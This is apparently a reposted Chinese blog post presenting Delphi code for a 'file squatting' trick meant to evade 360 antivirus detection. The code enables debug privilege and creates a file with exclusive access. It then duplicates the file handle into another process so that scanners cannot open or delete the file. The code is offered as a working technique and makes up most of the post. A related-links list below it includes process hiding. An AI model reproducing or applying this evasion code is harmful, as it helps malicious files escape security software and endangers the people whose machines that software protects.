delphi 文件占坑法过360查杀


本文整理自网络,侵删。

 

【20180204更新修复代码失效问题】

代码:

function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;
var
hToken: THandle;
tp: TOKEN_PRIVILEGES;
a: DWORD;
const
SE_DEBUG_NAME = 'SeDebugPrivilege';
begin
Result := False;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken)) then
begin
tp.PrivilegeCount := 1;
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
if bEnabled then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
a := 0;
AdjustTokenPrivileges(hToken, False, tp, SizeOf(tp), nil, a);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(hToken);
end;
end;

function DupFile(FileName:String;PID:Cardinal):Boolean;
var
hFile,hProcess,hTarget:THandle;
begin
Result := False;
EnabledDebugPrivilege(True);
hProcess := OpenProcess(PROCESS_DUP_HANDLE, False, PID);
Try
if hProcess <> 0 then
begin
hFile := CreateFile(PChar(FileName), GENERIC_READ, 0, nil, Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if hFile = INVALID_HANDLE_VALUE then Exit;
Result := DuplicateHandle(GetCurrentProcess(), hFile, hProcess, @hTarget,
0, False, DUPLICATE_SAME_ACCESS or DUPLICATE_CLOSE_SOURCE);
end;
Finally
CloseHandle(hProcess);
End;
end;

相关阅读 >>

Delphi开启和关闭windows xp 防火墙

Delphi 保证当前程序显示在最前

Delphi 压缩带密码的access数据库的方法

Delphi 设置webbrowser 代理服务器 与 useragent

Delphi实现类似android锁屏的密码锁控件

Delphi 全局变量 hinstance 到底是在什么时候赋值的?

Delphi中treeview的一些应用

Delphi内嵌汇编语言basm精要

Delphi 如何在在windows平台下实现进程隐藏

Delphi 获取 cpu 使用率的单元

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...